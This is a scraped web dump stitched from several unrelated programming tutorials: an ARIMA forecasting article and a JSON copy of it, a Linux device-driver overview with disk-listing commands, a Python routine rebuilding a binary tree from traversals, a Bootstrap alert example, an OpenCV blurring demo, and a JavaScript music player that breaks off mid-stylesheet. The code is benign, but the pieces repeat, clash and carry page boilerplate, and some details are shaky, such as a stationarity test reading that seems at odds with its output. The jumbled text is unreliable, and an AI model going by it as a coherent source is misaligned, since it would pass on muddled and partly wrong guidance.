steps 2 and 3 for implementing an ARIMA model. Let’s try it with the current dataset. After loading and preparing the data, we can use pmdarima’s ADFTest() function to conduct a Dickey-Fuller test. adf_test=ADFTest(alpha=0.05)adf_test.should_diff(df)# Output(0.01, False) This result indicates that the data is not stationary, so we need to use the “Integrated (I)” concept (d parameter) to make the data stationary while building the Auto ARIMA model. Next, I split the dataset into training and test (80%/20%) sets to build the Auto ARIMA model on the training set and forecast using the test dataset train=df[:114]test=df[-30:]plt.plot(train)plt.plot(test) Then, we build the Auto ARIMA model by using pmdarima’s auto_arima() function. Using the auto_arima() function calls for small p,d,q values which represent non-seasonal components and uppercase P,D,Q values which represent seasonal components. Auto_arima() is similar to other hyperparameter tuning methods, and is determined to find the optimal values for p,d,q using different combinations. The final p,d,q values are determined with lower AIC and BIC parameters taken into consideration. model=auto_arima(train,start_p=0,d=1,start_q=0, max_p=5,max_d=5,max_q=5, start_P=0, D=1, start_Q=0, max_P=5,max_D=5, max_Q=5, m=12, seasonal=True, error_action='warn',trace=True, supress_warnings=True,stepwise=True, random_state=20,n_fits=50) We can view the model summary: Next, we can using the trained model to forecast the number of airline passengers on the test set and create a visualization. prediction = pd.DataFrame(model.predict(n_periods = 30),index=test.index)prediction.columns = ['predicted_passengers']plt.figure(figsize=(8,5))plt.plot(train,label="Training")plt.plot(test,label="Test")plt.plot(prediction,label="Predicted")plt.legend(loc = 'upper left')plt.savefig('SecondPrection.jpg')plt.show() The Auto ARIMA model gave us a r2 value of 0.65 — this model did a much better job at capturing the trend in the data compared to my first implementation of the ARIMA model. In this article, I demonstrated the traditional implementation of an ARIMA model compared to the Auto ARIMA model using auto_arima(). While the traditional ARIMA implementation requires one to perform differencing and plotting ACF and PACF plots, the Auto ARIMA model using pmdarima’s auto_arima() function is more efficient in determining the optimal p,d,q values. For more information about pmdarima’s auto_arima() function, please see the following documentation alkaline-ml.com Thank you for reading! All code is available on my GitHub :)
[ { "code": null, "e": 487, "s": 171, "text": "One of the key concepts in data science is time-series analysis which involves the process of using a statistical model to predict future values of a time series (i.e. financial prices, weather, COVID-19 positive cases/deaths) based on past results. Some components that might be seen in a time-series analysis are:" }, { "code": null, "e": 1189, "s": 487, "text": "Trend : Shows a general direction of time series data over a period of time — trends can be increasing (upward), decreasing (downward), or horizontal (stationary).Seasonality : This component exhibits a trend that repeats with respect to timing, magnitude, and direction — such as the increase in ice cream sales during the summer months or increase in subway riders during colder months.Cyclical Component : A trend that has no set repetition over a certain time period. A cycle can be a period of ups and downs, mostly seen in business cycles — cycles do not exhibit a seasonality trend.Irregular Variation : Fluctuations in time-series data that is erratic, unpredictable and may/may not be random." }, { "code": null, "e": 1353, "s": 1189, "text": "Trend : Shows a general direction of time series data over a period of time — trends can be increasing (upward), decreasing (downward), or horizontal (stationary)." }, { "code": null, "e": 1579, "s": 1353, "text": "Seasonality : This component exhibits a trend that repeats with respect to timing, magnitude, and direction — such as the increase in ice cream sales during the summer months or increase in subway riders during colder months." }, { "code": null, "e": 1781, "s": 1579, "text": "Cyclical Component : A trend that has no set repetition over a certain time period. A cycle can be a period of ups and downs, mostly seen in business cycles — cycles do not exhibit a seasonality trend." }, { "code": null, "e": 1894, "s": 1781, "text": "Irregular Variation : Fluctuations in time-series data that is erratic, unpredictable and may/may not be random." }, { "code": null, "e": 2194, "s": 1894, "text": "When conducting time-series analysis, there are either Univariate Time-Series analysis or Multivariate Time-Series analysis. Univariate is utilized when only one variable is being observed against time, whereas Multivariate is utilized if there are two or more variables being observed against time." }, { "code": null, "e": 2383, "s": 2194, "text": "ARIMA is an acronym which stands for Auto Regressive Integrated Moving Average and is a way of modeling time-series data for forecasting and is specified by three order parameters (p,d,q):" }, { "code": null, "e": 2445, "s": 2383, "text": "AR(p): pattern of growth/decline in the data is accounted for" }, { "code": null, "e": 2506, "s": 2445, "text": "I (d): rate of change of the growth/decline is accounted for" }, { "code": null, "e": 2557, "s": 2506, "text": "MA (q): noise between time points is accounted for" }, { "code": null, "e": 2696, "s": 2557, "text": "There are three types of ARIMA models, ARIMA, SARIMA, and SARIMAX which differ depending on seasonality and/or use of exogenous variables." }, { "code": null, "e": 2867, "s": 2696, "text": "Pmdarima‘s auto_arima function is extremely useful when building an ARIMA model as it helps us identify the most optimal p,d,q parameters and return a fitted ARIMA model." }, { "code": null, "e": 3286, "s": 2867, "text": "As a newcomer to data science, when conducting time-series analysis, I took the “long” way before coming across pmdarima’s auto_arima function to build a high performance time-series model. For this article, I will focus on the Univariate Time-Series analysis to forecast the number of airline passengers (from Kaggle) and discuss through the traditional ARIMA implementation versus the more efficient, auto_arima way." }, { "code": null, "e": 3333, "s": 3286, "text": "The general steps to implement an ARIMA model:" }, { "code": null, "e": 3541, "s": 3333, "text": "Load and prepare dataCheck for stationarity (make data stationary if necessary) and determine d valueCreate ACF and PACF plots to determine p and q valuesFit ARIMA modelPredict values on test setCalculate r2" }, { "code": null, "e": 3563, "s": 3541, "text": "Load and prepare data" }, { "code": null, "e": 3644, "s": 3563, "text": "Check for stationarity (make data stationary if necessary) and determine d value" }, { "code": null, "e": 3698, "s": 3644, "text": "Create ACF and PACF plots to determine p and q values" }, { "code": null, "e": 3714, "s": 3698, "text": "Fit ARIMA model" }, { "code": null, "e": 3741, "s": 3714, "text": "Predict values on test set" }, { "code": null, "e": 3754, "s": 3741, "text": "Calculate r2" }, { "code": null, "e": 3919, "s": 3754, "text": "First, I loaded and prepared the data by changing the date to a datetime object, setting the date to index using the set_index method, and checking for null values." }, { "code": null, "e": 4134, "s": 3919, "text": "df=pd.read_csv('AirPassengers.csv')df=df.rename(columns={'#Passengers':'passengers','Month':'date'})df['date'] = pd.to_datetime(df['date'])df.set_index(df['date'], inplace=True)df=df.drop(columns=['date'])df.head()" }, { "code": null, "e": 4402, "s": 4134, "text": "I then took a preliminary look at the average monthly number of airline passengers, which revealed that the data was not stationary. This was further confirmed by conducting a Dickey-Fuller test which is a unit root test for stationarity, as shown in the image below:" }, { "code": null, "e": 4822, "s": 4402, "text": "After differencing our data twice, our p-value was less than our alpha (0.05), so we were able to reject the null hypothesis and accept the alternative hypothesis that the data is stationary. We then modeled our time-series data by setting the d parameter to 2. Next, I looked at our ACF/PACF plots using the differenced data to visualize the lags that will likely be influential when modeling the number of passengers." }, { "code": null, "e": 5199, "s": 4822, "text": "From our visualizations, I determined that our p parameter is 0 and q parameter is 2 — our p,d,q parameters will be (0,2,2) for the ARIMA model. After splitting the data into training and testing groups and fitting the ARIMA model on the training set to predict the test set, we obtained a r2 value of -1.52 — telling us that the model did not follow the trend of data at all." }, { "code": null, "e": 5371, "s": 5199, "text": "I most likely calculated the p,d,q values incorrectly which caused the r2 value to be negative, but in the mean time let’s try to build another ARIMA model using pmdarima." }, { "code": null, "e": 5734, "s": 5371, "text": "In the previous method, checking for stationarity, making data stationary if necessary, and determining the values of p and q using the ACF/PACF plots can be time-consuming and less efficient. Using pmdarima’s auto_arima() function makes this task easier for us by eliminating steps 2 and 3 for implementing an ARIMA model. Let’s try it with the current dataset." }, { "code": null, "e": 5846, "s": 5734, "text": "After loading and preparing the data, we can use pmdarima’s ADFTest() function to conduct a Dickey-Fuller test." }, { "code": null, "e": 5920, "s": 5846, "text": "adf_test=ADFTest(alpha=0.05)adf_test.should_diff(df)# Output(0.01, False)" }, { "code": null, "e": 6101, "s": 5920, "text": "This result indicates that the data is not stationary, so we need to use the “Integrated (I)” concept (d parameter) to make the data stationary while building the Auto ARIMA model." }, { "code": null, "e": 6251, "s": 6101, "text": "Next, I split the dataset into training and test (80%/20%) sets to build the Auto ARIMA model on the training set and forecast using the test dataset" }, { "code": null, "e": 6308, "s": 6251, "text": "train=df[:114]test=df[-30:]plt.plot(train)plt.plot(test)" }, { "code": null, "e": 6799, "s": 6308, "text": "Then, we build the Auto ARIMA model by using pmdarima’s auto_arima() function. Using the auto_arima() function calls for small p,d,q values which represent non-seasonal components and uppercase P,D,Q values which represent seasonal components. Auto_arima() is similar to other hyperparameter tuning methods, and is determined to find the optimal values for p,d,q using different combinations. The final p,d,q values are determined with lower AIC and BIC parameters taken into consideration." }, { "code": null, "e": 7096, "s": 6799, "text": "model=auto_arima(train,start_p=0,d=1,start_q=0, max_p=5,max_d=5,max_q=5, start_P=0, D=1, start_Q=0, max_P=5,max_D=5, max_Q=5, m=12, seasonal=True, error_action='warn',trace=True, supress_warnings=True,stepwise=True, random_state=20,n_fits=50)" }, { "code": null, "e": 7127, "s": 7096, "text": "We can view the model summary:" }, { "code": null, "e": 7253, "s": 7127, "text": "Next, we can using the trained model to forecast the number of airline passengers on the test set and create a visualization." }, { "code": null, "e": 7567, "s": 7253, "text": "prediction = pd.DataFrame(model.predict(n_periods = 30),index=test.index)prediction.columns = ['predicted_passengers']plt.figure(figsize=(8,5))plt.plot(train,label=\"Training\")plt.plot(test,label=\"Test\")plt.plot(prediction,label=\"Predicted\")plt.legend(loc = 'upper left')plt.savefig('SecondPrection.jpg')plt.show()" }, { "code": null, "e": 7741, "s": 7567, "text": "The Auto ARIMA model gave us a r2 value of 0.65 — this model did a much better job at capturing the trend in the data compared to my first implementation of the ARIMA model." }, { "code": null, "e": 8107, "s": 7741, "text": "In this article, I demonstrated the traditional implementation of an ARIMA model compared to the Auto ARIMA model using auto_arima(). While the traditional ARIMA implementation requires one to perform differencing and plotting ACF and PACF plots, the Auto ARIMA model using pmdarima’s auto_arima() function is more efficient in determining the optimal p,d,q values." }, { "code": null, "e": 8207, "s": 8107, "text": "For more information about pmdarima’s auto_arima() function, please see the following documentation" }, { "code": null, "e": 8223, "s": 8207, "text": "alkaline-ml.com" } ]
Device Drivers in Linux - GeeksforGeeks
25 Jan, 2021 Drivers are used to help the hardware devices interact with the operating system. In windows, all the devices and drivers are grouped together in a single console called device manager. In Linux, even the hardware devices are treated like ordinary files, which makes it easier for the software to interact with the device drivers. When a device is connected to the system, a device file is created in /dev directory. Most Common types of devices in Linux: Character devices – These devices transmit the data character by characters, like a mouse or a keyboard.Block devices – These devices transfer unit of data storage called a block, USB drives, hard drives, and CD ROMs Character devices – These devices transmit the data character by characters, like a mouse or a keyboard. Block devices – These devices transfer unit of data storage called a block, USB drives, hard drives, and CD ROMs To list all the device files use the below command. ls -l /dev In the above output, we can see some other types of file types, some of them have B for a block device, C for character device some devices start with /dev/sda or /sdb. In Linux, the disk names are alphabetical. For example, dev/sda is the first hard drive, dev/sdb is the second hard drive, and so on. These devices are mass storage devices like memory sticks, hard drives, etc. Hence, sda means that this device was detected by the computer first. Example of character device is : /dev/consoles or /dev/ttyS0. These devices are accessed as a stream of bytes. Example of block device: /dev/sdxn. Block devices allow the programmer to read and write any size of the block. Pseudo devices act as device drivers without an actual device. Examples of pseudo devices are /dev/null, /dev/zero, /dev/pf etc. 1. fdisk – It stands for format disk. This command is used to display the partitions on a disk and other details related to the file system. sudo fdisk -l 2. sfdisk – This command displays the partitions on the disk, the size of each partition in MB, etc. 3. parted – This command helps list and modify the partitions of the disk. sudo parted -l 4. df – Displays the details of the file system. Using grep we can filter real hard disk files. df -h | grep ^/dev 5. lsblk – List details about the block devices. lsblk 6. inxi – Lists details about the hardware components in the file system. inxi -D -xx The kernel is a monolithic piece of software, but it is also responsible to provide support to the hardware. Most of the devices have built-in kernel modules, so when they are plugged in, they start working automatically. Linux-Unix Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Thread functions in C/C++ Array Basics in Shell Scripting | Set 1 scp command in Linux with Examples nohup Command in Linux with Examples chown command in Linux with Examples mv command in Linux with examples Named Pipe or FIFO with example C program SED command in Linux | Set 2 Basic Operators in Shell Scripting Start/Stop/Restart Services Using Systemctl in Linux
[ { "code": null, "e": 24352, "s": 24324, "text": "\n25 Jan, 2021" }, { "code": null, "e": 24770, "s": 24352, "text": "Drivers are used to help the hardware devices interact with the operating system. In windows, all the devices and drivers are grouped together in a single console called device manager. In Linux, even the hardware devices are treated like ordinary files, which makes it easier for the software to interact with the device drivers. When a device is connected to the system, a device file is created in /dev directory. " }, { "code": null, "e": 24809, "s": 24770, "text": "Most Common types of devices in Linux:" }, { "code": null, "e": 25026, "s": 24809, "text": "Character devices – These devices transmit the data character by characters, like a mouse or a keyboard.Block devices – These devices transfer unit of data storage called a block, USB drives, hard drives, and CD ROMs" }, { "code": null, "e": 25131, "s": 25026, "text": "Character devices – These devices transmit the data character by characters, like a mouse or a keyboard." }, { "code": null, "e": 25244, "s": 25131, "text": "Block devices – These devices transfer unit of data storage called a block, USB drives, hard drives, and CD ROMs" }, { "code": null, "e": 25296, "s": 25244, "text": "To list all the device files use the below command." }, { "code": null, "e": 25307, "s": 25296, "text": "ls -l /dev" }, { "code": null, "e": 26109, "s": 25307, "text": "In the above output, we can see some other types of file types, some of them have B for a block device, C for character device some devices start with /dev/sda or /sdb. In Linux, the disk names are alphabetical. For example, dev/sda is the first hard drive, dev/sdb is the second hard drive, and so on. These devices are mass storage devices like memory sticks, hard drives, etc. Hence, sda means that this device was detected by the computer first. Example of character device is : /dev/consoles or /dev/ttyS0. These devices are accessed as a stream of bytes. Example of block device: /dev/sdxn. Block devices allow the programmer to read and write any size of the block. Pseudo devices act as device drivers without an actual device. Examples of pseudo devices are /dev/null, /dev/zero, /dev/pf etc." }, { "code": null, "e": 26251, "s": 26109, "text": " 1. fdisk – It stands for format disk. This command is used to display the partitions on a disk and other details related to the file system." }, { "code": null, "e": 26265, "s": 26251, "text": "sudo fdisk -l" }, { "code": null, "e": 26366, "s": 26265, "text": "2. sfdisk – This command displays the partitions on the disk, the size of each partition in MB, etc." }, { "code": null, "e": 26441, "s": 26366, "text": "3. parted – This command helps list and modify the partitions of the disk." }, { "code": null, "e": 26456, "s": 26441, "text": "sudo parted -l" }, { "code": null, "e": 26552, "s": 26456, "text": "4. df – Displays the details of the file system. Using grep we can filter real hard disk files." }, { "code": null, "e": 26571, "s": 26552, "text": "df -h | grep ^/dev" }, { "code": null, "e": 26620, "s": 26571, "text": "5. lsblk – List details about the block devices." }, { "code": null, "e": 26626, "s": 26620, "text": "lsblk" }, { "code": null, "e": 26700, "s": 26626, "text": "6. inxi – Lists details about the hardware components in the file system." }, { "code": null, "e": 26712, "s": 26700, "text": "inxi -D -xx" }, { "code": null, "e": 26934, "s": 26712, "text": "The kernel is a monolithic piece of software, but it is also responsible to provide support to the hardware. Most of the devices have built-in kernel modules, so when they are plugged in, they start working automatically." }, { "code": null, "e": 26945, "s": 26934, "text": "Linux-Unix" }, { "code": null, "e": 27043, "s": 26945, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27052, "s": 27043, "text": "Comments" }, { "code": null, "e": 27065, "s": 27052, "text": "Old Comments" }, { "code": null, "e": 27091, "s": 27065, "text": "Thread functions in C/C++" }, { "code": null, "e": 27131, "s": 27091, "text": "Array Basics in Shell Scripting | Set 1" }, { "code": null, "e": 27166, "s": 27131, "text": "scp command in Linux with Examples" }, { "code": null, "e": 27203, "s": 27166, "text": "nohup Command in Linux with Examples" }, { "code": null, "e": 27240, "s": 27203, "text": "chown command in Linux with Examples" }, { "code": null, "e": 27274, "s": 27240, "text": "mv command in Linux with examples" }, { "code": null, "e": 27316, "s": 27274, "text": "Named Pipe or FIFO with example C program" }, { "code": null, "e": 27345, "s": 27316, "text": "SED command in Linux | Set 2" }, { "code": null, "e": 27380, "s": 27345, "text": "Basic Operators in Shell Scripting" } ]
Create a light-blue alert box that indicates some information with Bootstrap
Use the .alert-info class to create a light-blue alert box indicating some information. You can try to run the following code to implement .alert-info class in Bootstrap − Live Demo <!DOCTYPE html> <html> <head> <title>Bootstrap Example</title> <link rel = "stylesheet" href = "https://maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css"> <script src = "https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script src = "https://maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script> </head> <body> <div class = "container"> <div class = "alert alert-info"> <p>Information!</p> <p>Add information here...</p> </div> </div> </body> </html>
[ { "code": null, "e": 1150, "s": 1062, "text": "Use the .alert-info class to create a light-blue alert box indicating some information." }, { "code": null, "e": 1234, "s": 1150, "text": "You can try to run the following code to implement .alert-info class in Bootstrap −" }, { "code": null, "e": 1244, "s": 1234, "text": "Live Demo" }, { "code": null, "e": 1842, "s": 1244, "text": "<!DOCTYPE html>\n<html>\n <head>\n <title>Bootstrap Example</title>\n <link rel = \"stylesheet\" href = \"https://maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css\">\n <script src = \"https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js\"></script>\n <script src = \"https://maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js\"></script>\n </head>\n <body>\n <div class = \"container\">\n <div class = \"alert alert-info\">\n <p>Information!</p>\n <p>Add information here...</p>\n </div>\n </div>\n </body>\n</html>" } ]
Construct Binary Tree from Preorder and Postorder Traversal in Python
Suppose we have two traversal sequences Preorder and Postorder, we have to generate the binary tree from these two sequences. So if the sequences are [1,2,4,5,3,6,7], [4,5,2,6,7,3,1], then the output will be To solve this, we will follow these steps − ans := make a tree node by taking value pre[0], stack := empty stack, and insert ans i := 1 and j := 0 while i < length of pre and j < length of postif stack top value = post[j], then increase j by 1, pop from stack, and go for next iterationnode := make a tree node with value pre[i]if left part of stack top node is empty, then set left of stack top node as node, otherwise set right of stack top node as nodeinsert node into stackincrease i by 1 if stack top value = post[j], then increase j by 1, pop from stack, and go for next iteration node := make a tree node with value pre[i] if left part of stack top node is empty, then set left of stack top node as node, otherwise set right of stack top node as node insert node into stack increase i by 1 return ans Let us see the following implementation to get better understanding − class TreeNode: def __init__(self, data, left = None, right = None): self.data = data self.left = left self.right = right def height(root): if root is None: return 0 else : # Compute the height of left and right subtree l_height = height(root.left) r_height = height(root.right) #Find the greater one, and return it if l_height > r_height : return l_height+1 else: return r_height+1 def print_given_level(root, level): if root is None: return if level == 1: print(root.data,end = ',') elif level > 1 : print_given_level(root.left , level-1) print_given_level(root.right , level-1) def level_order(root): print('[', end = '') h = height(root) for i in range(1, h+1): print_given_level(root, i) print(']') class Solution(object): def constructFromPrePost(self, pre, post): """ :type pre: List[int] :type post: List[int] :rtype: TreeNode """ ans = TreeNode(pre[0]) stack = [ans] i = 1 j = 0 while i < len(pre) and j < len(post): if stack[-1].data == post[j]: j+=1 stack.pop(-1) continue node = TreeNode(pre[i]) if not stack[-1].left: stack[-1].left = node else: stack[-1].right = node stack.append(node) i+=1 return ans ob = Solution() pre = [1,2,4,5,3,6,7] post = [4,5,2,6,7,3,1] tree = ob.constructFromPrePost(pre, post) level_order(tree) [1,2,4,5,3,6,7] [4,5,2,6,7,3,1] pre = [1,2,4,5,3,6,7] post = [4,5,2,6,7,3,1] [1,2,3,4,5,6,7,]
[ { "code": null, "e": 1270, "s": 1062, "text": "Suppose we have two traversal sequences Preorder and Postorder, we have to generate the binary tree from these two sequences. So if the sequences are [1,2,4,5,3,6,7], [4,5,2,6,7,3,1], then the output will be" }, { "code": null, "e": 1314, "s": 1270, "text": "To solve this, we will follow these steps −" }, { "code": null, "e": 1399, "s": 1314, "text": "ans := make a tree node by taking value pre[0], stack := empty stack, and insert ans" }, { "code": null, "e": 1417, "s": 1399, "text": "i := 1 and j := 0" }, { "code": null, "e": 1763, "s": 1417, "text": "while i < length of pre and j < length of postif stack top value = post[j], then increase j by 1, pop from stack, and go for next iterationnode := make a tree node with value pre[i]if left part of stack top node is empty, then set left of stack top node as node, otherwise set right of stack top node as nodeinsert node into stackincrease i by 1" }, { "code": null, "e": 1857, "s": 1763, "text": "if stack top value = post[j], then increase j by 1, pop from stack, and go for next iteration" }, { "code": null, "e": 1900, "s": 1857, "text": "node := make a tree node with value pre[i]" }, { "code": null, "e": 2028, "s": 1900, "text": "if left part of stack top node is empty, then set left of stack top node as node, otherwise set right of stack top node as node" }, { "code": null, "e": 2051, "s": 2028, "text": "insert node into stack" }, { "code": null, "e": 2067, "s": 2051, "text": "increase i by 1" }, { "code": null, "e": 2078, "s": 2067, "text": "return ans" }, { "code": null, "e": 2148, "s": 2078, "text": "Let us see the following implementation to get better understanding −" }, { "code": null, "e": 3710, "s": 2148, "text": "class TreeNode:\n def __init__(self, data, left = None, right = None):\n self.data = data\n self.left = left\n self.right = right\ndef height(root):\n if root is None:\n return 0\n else :\n # Compute the height of left and right subtree\n l_height = height(root.left)\n r_height = height(root.right)\n #Find the greater one, and return it\n if l_height > r_height :\n return l_height+1\n else:\n return r_height+1\ndef print_given_level(root, level):\n if root is None:\n return\n if level == 1:\n print(root.data,end = ',')\n elif level > 1 :\n print_given_level(root.left , level-1)\n print_given_level(root.right , level-1)\ndef level_order(root):\n print('[', end = '')\n h = height(root)\n for i in range(1, h+1):\n print_given_level(root, i)\n print(']')\nclass Solution(object):\n def constructFromPrePost(self, pre, post):\n \"\"\"\n :type pre: List[int]\n :type post: List[int]\n :rtype: TreeNode\n \"\"\"\n ans = TreeNode(pre[0])\n stack = [ans]\n i = 1\n j = 0\n while i < len(pre) and j < len(post):\n if stack[-1].data == post[j]:\n j+=1\n stack.pop(-1)\n continue\n node = TreeNode(pre[i])\n if not stack[-1].left:\n stack[-1].left = node\n else:\n stack[-1].right = node\n stack.append(node)\n i+=1\n return ans\nob = Solution()\npre = [1,2,4,5,3,6,7]\npost = [4,5,2,6,7,3,1]\ntree = ob.constructFromPrePost(pre, post)\nlevel_order(tree)" }, { "code": null, "e": 3787, "s": 3710, "text": "[1,2,4,5,3,6,7]\n[4,5,2,6,7,3,1]\npre = [1,2,4,5,3,6,7]\npost = [4,5,2,6,7,3,1]" }, { "code": null, "e": 3804, "s": 3787, "text": "[1,2,3,4,5,6,7,]" } ]
What is Image Blurring
14 Oct, 2018 What is convolution in 2D?Image is denoted as matrix inside computer. An image contains a lot of features like edge, contrast etc. In image processing features have to be extracted from the image for further study of image.Convolution is a fundamental operation on images in which a mathematical operation is applied to each pixel to get the desired result.For this purpose, another matrix called as kernel is used which is smaller in size of image. This is also called filter. This filter is applied on each pixel of the image and new value obtained is the value of that pixel. The image obtained is called filtered image.In kernel each cell contain some value, that kernel is kept above the pixel and corresponding values are multiplied and then summed up this value obtained is new the value of pixel. What is BlurringIf a blurred image is observed carefully then a common thing to notice is that image is smooth meaning edges are not observed. A filter used for blurring is also called low pass filter, because it allows low frequency to enter and stop high frequency. Here frequency means the change of pixel value. Around edge pixel value changes rapidly as blur image is smooth so high frequency should be filtered out.For blur purpose a filter with every call having value 1 is used because to blur image a pixel value should be close to neighbor value.In filter it is divided by 9 for normalization otherwise value of a pixel will increase resulting in more contrast which is not the goal. We can choose the size of the kernel depending on how much we want to smoothen the image. Choosing a bigger size will be averaging over a larger area. This tends to increase the smoothening effect. # Write Python3 code here import cv2import numpy as np image = cv2.imread('geek.jpg') # making filter of 3 by 3 filled with 1 divide # by 9 for normalizationblur_filter1 = np.ones((3, 3), np.float)/(9.0) # making filter of 5 by 5 filled with 1 divide# by 25 for normalizationblur_filter2 = np.ones((5, 5), np.float)/(25.0) # making filter of 7 by 7 filled with 1 divide # by 49 for normalizationblur_filter3 = np.ones((7, 7), np.float)/(49.0) image_blur1 = cv2.filter2D(image, -1, blur_filter1)image_blur2 = cv2.filter2D(image, -1, blur_filter2)image_blur3 = cv2.filter2D(image, -1, blur_filter3) cv2.imshow('geek', image)cv2.imshow('geek_blur1', image_blur1)cv2.imshow('geek_blur2', image_blur2)cv2.imshow('geek_blur3', image_blur3) cv2.waitKey(0)cv2.destroyAllWindows() Original image With large filter the images smoothed more. Image-Processing Technical Scripter 2018 Advanced Computer Subject Python Programs School Programming Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 54, "s": 26, "text": "\n14 Oct, 2018" }, { "code": null, "e": 859, "s": 54, "text": "What is convolution in 2D?Image is denoted as matrix inside computer. An image contains a lot of features like edge, contrast etc. In image processing features have to be extracted from the image for further study of image.Convolution is a fundamental operation on images in which a mathematical operation is applied to each pixel to get the desired result.For this purpose, another matrix called as kernel is used which is smaller in size of image. This is also called filter. This filter is applied on each pixel of the image and new value obtained is the value of that pixel. The image obtained is called filtered image.In kernel each cell contain some value, that kernel is kept above the pixel and corresponding values are multiplied and then summed up this value obtained is new the value of pixel." }, { "code": null, "e": 1553, "s": 859, "text": "What is BlurringIf a blurred image is observed carefully then a common thing to notice is that image is smooth meaning edges are not observed. A filter used for blurring is also called low pass filter, because it allows low frequency to enter and stop high frequency. Here frequency means the change of pixel value. Around edge pixel value changes rapidly as blur image is smooth so high frequency should be filtered out.For blur purpose a filter with every call having value 1 is used because to blur image a pixel value should be close to neighbor value.In filter it is divided by 9 for normalization otherwise value of a pixel will increase resulting in more contrast which is not the goal." }, { "code": null, "e": 1751, "s": 1553, "text": "We can choose the size of the kernel depending on how much we want to smoothen the image. Choosing a bigger size will be averaging over a larger area. This tends to increase the smoothening effect." }, { "code": "# Write Python3 code here import cv2import numpy as np image = cv2.imread('geek.jpg') # making filter of 3 by 3 filled with 1 divide # by 9 for normalizationblur_filter1 = np.ones((3, 3), np.float)/(9.0) # making filter of 5 by 5 filled with 1 divide# by 25 for normalizationblur_filter2 = np.ones((5, 5), np.float)/(25.0) # making filter of 7 by 7 filled with 1 divide # by 49 for normalizationblur_filter3 = np.ones((7, 7), np.float)/(49.0) image_blur1 = cv2.filter2D(image, -1, blur_filter1)image_blur2 = cv2.filter2D(image, -1, blur_filter2)image_blur3 = cv2.filter2D(image, -1, blur_filter3) cv2.imshow('geek', image)cv2.imshow('geek_blur1', image_blur1)cv2.imshow('geek_blur2', image_blur2)cv2.imshow('geek_blur3', image_blur3) cv2.waitKey(0)cv2.destroyAllWindows()", "e": 2531, "s": 1751, "text": null }, { "code": null, "e": 2546, "s": 2531, "text": "Original image" }, { "code": null, "e": 2590, "s": 2546, "text": "With large filter the images smoothed more." }, { "code": null, "e": 2607, "s": 2590, "text": "Image-Processing" }, { "code": null, "e": 2631, "s": 2607, "text": "Technical Scripter 2018" }, { "code": null, "e": 2657, "s": 2631, "text": "Advanced Computer Subject" }, { "code": null, "e": 2673, "s": 2657, "text": "Python Programs" }, { "code": null, "e": 2692, "s": 2673, "text": "School Programming" } ]
Create a Music Player using JavaScript
18 May, 2022 As streaming is increasingly being adopted by users, online media players have become essential for consuming media on the internet. Music players allow one to enjoy music in any browser and supports a lot of the features of an offline music player.We will be creating a music player with a clean user interface that can be used to play music in the browser. We will also implement features like seeking and volume control. HTML has several methods in the HTMLMediaElement interface that can be used to play audio files and control its playback without using any other library.We will start by creating the HTML layout first that defines the structure of the player, make it look good by styling using CSS and then write the player logic for all the functions in JavaScript. The HTML Layout The HTML layout defines the element structure that would be shown on the page. The player can be divided into the following portions: Details Portion: This section shows the details of the current track being played. It includes the track number, track album, track name and track artist. Buttons Portion: This section shows the buttons that are used to control the playback of the track. It includes the play/pause button, the previous and next track buttons. They would have an onclick() method that calls a specific function defined in the JavaScript file. Sliders Portion: This section contains the seek slider and volume slider that can be used to control the playback and volume. We will be using FontAwesome icons to get the icons for all the buttons used on the page. The custom CSS and JavaScript we will write later is also linked in the file.The HTML code is as follows: html <!DOCTYPE html><html lang="en"><head> <title>Simple Music Player</title> <!-- Load FontAwesome icons --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css"> <!-- Load the custom CSS style file --> <link rel="stylesheet" type="text/css" href="style.css"></head><body> <div class="player"> <!-- Define the section for displaying details --> <div class="details"> <div class="now-playing">PLAYING x OF y</div> <div class="track-art"></div> <div class="track-name">Track Name</div> <div class="track-artist">Track Artist</div> </div> <!-- Define the section for displaying track buttons --> <div class="buttons"> <div class="prev-track" onclick="prevTrack()"> <i class="fa fa-step-backward fa-2x"></i> </div> <div class="playpause-track" onclick="playpauseTrack()"> <i class="fa fa-play-circle fa-5x"></i> </div> <div class="next-track" onclick="nextTrack()"> <i class="fa fa-step-forward fa-2x"></i> </div> </div> <!-- Define the section for displaying the seek slider--> <div class="slider_container"> <div class="current-time">00:00</div> <input type="range" min="1" max="100" value="0" class="seek_slider" onchange="seekTo()"> <div class="total-duration">00:00</div> </div> <!-- Define the section for displaying the volume slider--> <div class="slider_container"> <i class="fa fa-volume-down"></i> <input type="range" min="1" max="100" value="99" class="volume_slider" onchange="setVolume()"> <i class="fa fa-volume-up"></i> </div> </div> <!-- Load the main script for the player --> <script src="main.js"></script></body></html> The CSS Styling Using CSS we can style the different portions to make it more visually appealing: The flex layout is used to arrange the various elements of the player and align them to the middle of the page. The track art image is given a fixed dimension and made rounded using the border-radius property. The two sliders have been modified from their default look by using the appearance property. The height and background are changed to suit the color scheme. They are also given slight transparency that smoothly transitions to the full opacity using the transition property. All the playback controls have their cursor property set so that it changes to a pointer whenever the mouse hovers over it. css body { background-color: lightgreen; /* Smoothly transition the background color */ transition: background-color .5s;} /* Using flex with the column direction to align items in a vertical direction */.player { height: 95vh; display: flex; align-items: center; flex-direction: column; justify-content: center;} .details { display: flex; align-items: center; flex-direction: column; justify-content: center; margin-top: 25px;} .track-art { margin: 25px; height: 250px; width: 250px; background-image: URL( "https://source.unsplash.com/Qrspubmx6kE/640x360"); background-size: cover; background-position: center; border-radius: 15%;} /* Changing the font sizes to suitable ones */.now-playing { font-size: 1rem;} .track-name { font-size: 3rem;} .track-artist { font-size: 1.5rem;} /* Using flex with the row direction to align items in a horizontal direction */.buttons { display: flex; flex-direction: row; align-items: center;} .playpause-track,.prev-track,.next-track { padding: 25px; opacity: 0.8; /* Smoothly transition the opacity */ transition: opacity .2s;} /* Change the opacity when mouse is hovered 